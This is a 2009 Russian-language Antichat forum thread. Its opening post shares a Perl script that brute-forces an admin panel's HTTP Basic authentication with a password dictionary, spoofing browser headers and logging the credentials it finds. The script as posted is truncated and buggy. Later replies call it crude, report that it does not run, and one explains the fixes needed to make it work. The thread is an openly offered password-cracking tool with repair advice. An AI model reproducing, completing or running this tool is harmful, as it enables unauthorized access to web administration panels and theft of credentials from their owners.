ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Программирование > PHP, PERL, MySQL, JavaScript
Перезагрузить страницу Brute admin password [perl]
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

Brute admin password [perl]
  #1  
Старый 31.01.2009, 01:03
Аватар для Звeрь
Звeрь
Banned
Регистрация: 25.02.2008
Сообщений: 229
Провел на форуме:
1384476

Репутация: 300
Отправить сообщение для Звeрь с помощью ICQ
Arrow Brute admin password [perl]
Brute admin password [perl]
тестил на себе работает
PHP код:
#!/usr/bin/perl

use MIME::Base64;
use IO::Socket;
use POSIX; 

$server="www.victim.com";### Адрес сервера
$port="80";
$dir="/admin";### путь к админке 
$logfile="sucess.log"; 
$log="now.log"; 
$words="bigdict.txt";### список паролей 
$user="admin"; 

open(file, "$words") or die print "$!\n";
@data=<file>;
$total=@data;
close file; 

$i=0;
foreach $pass (@data) {
$i++;
chomp($pass);
open(file, ">$log") or die print "$!\n";
$perc=($i*100)/$total; 
$perc=ceil($perc); 
print file "$perc\% Done\t$i of $total\t\tNow: $user\:$pass\n"; ### Пишем в лог статус
close file;
$auth=encode_base64("$user\:$pass"); ### Создаем Mime-хеш
chomp($auth);
$socket=IO::Socket::INET->new( PeerAddr => $server,
PeerPort => $port,
Photo => tcp)
or die print "Unable to connect to $server:$port\n";
print $socket "GET $dir HTTP/1.1\n"; 
print $socket "Host: $server\n";
print $socket "Accept: */*\n";
print $socket "Referer: http://support.microsoft.com/\n";
print $socket "User-Agent: Internet Explorer 6.0\n";
print $socket "Pragma: no-cache\n";
print $socket "Cache-Control: no-cache\n";
print $socket "Authorization: Basic $auth\n";
print $socket "Connection: close\n\n";
$ans=<$socket>; 
if ($ans=~/200 Ok/i) {
open(logf, ">>$logfile") or die print "$!\n"; 
print logf "$user:$pass is OK!!!\n";
close logf;
exit 0; 
 
Ответить с цитированием

  #2  
Старый 31.01.2009, 01:08
Аватар для ртуть
ртуть
Постоянный
Регистрация: 31.08.2007
Сообщений: 571
Провел на форуме:
1847821

Репутация: 953


По умолчанию
такого шита в инете валом... для чего? как экземпел или типа my first elite tool?

#!/usr/bin/perl -ewT print "Hello world\n"; #e0f
 
Ответить с цитированием

  #3  
Старый 31.01.2009, 11:08
Аватар для bombeg
bombeg
Участник форума
Регистрация: 27.10.2008
Сообщений: 244
Провел на форуме:
963613

Репутация: 428
По умолчанию
придумывают крипторы для кода... вон достаточно адептом перла стать.... и хер кто расшифрует.
 
Ответить с цитированием

  #4  
Старый 31.01.2009, 16:12
Аватар для DDoSька
DDoSька
Постоянный
Регистрация: 05.05.2008
Сообщений: 403
Провел на форуме:
2375039

Репутация: 1160
Отправить сообщение для DDoSька с помощью ICQ
По умолчанию
Это надо было бы пихнуть в раздел "Скрипты от скуки", а так , это только для новичков, но тоже полезно
 
Ответить с цитированием

  #5  
Старый 02.02.2009, 11:22
Аватар для demond
demond
Участник форума
Регистрация: 05.11.2008
Сообщений: 105
Провел на форуме:
292722

Репутация: 71
По умолчанию
Сырой скрипт! И без реализации прокси совершенно бесполезный. Хотя если тренироваться на себе... :-)
 
Ответить с цитированием

  #6  
Старый 02.02.2009, 11:28
Аватар для a1ex
a1ex
Banned
Регистрация: 11.10.2006
Сообщений: 682
Провел на форуме:
3750406

Репутация: 271


Отправить сообщение для a1ex с помощью ICQ Отправить сообщение для a1ex с помощью AIM Отправить сообщение для a1ex с помощью MSN Отправить сообщение для a1ex с помощью Yahoo
По умолчанию
Что-то Зверь часто баянить стал....или просто под типа своё переделывает...
 
Ответить с цитированием

  #7  
Старый 02.02.2009, 12:49
Аватар для Vlad3d
Vlad3d
Участник форума
Регистрация: 18.01.2008
Сообщений: 158
Провел на форуме:
2441184

Репутация: 106
По умолчанию
не работает вообще, даже не запускается
 
Ответить с цитированием

  #8  
Старый 02.02.2009, 13:01
Аватар для demond
demond
Участник форума
Регистрация: 05.11.2008
Сообщений: 105
Провел на форуме:
292722

Репутация: 71
По умолчанию
Я и говорю что скрипт сырой. :-) просто хендлы файловые надо в верхнем регистре переписать и имя протокола в кавычках записать в 33ей строчке. и все будет работать.

PS Как ЭТО автор на себе тестил? На какой системе оно запустилось?
Последний раз редактировалось demond; 02.02.2009 в 13:04..
 
Ответить с цитированием
Ответ



« Предыдущая тема | Следующая тема »
Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Качаем с рапиды и меги нахаляву gemaglabin Болталка 38 07.12.2006 03:04



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ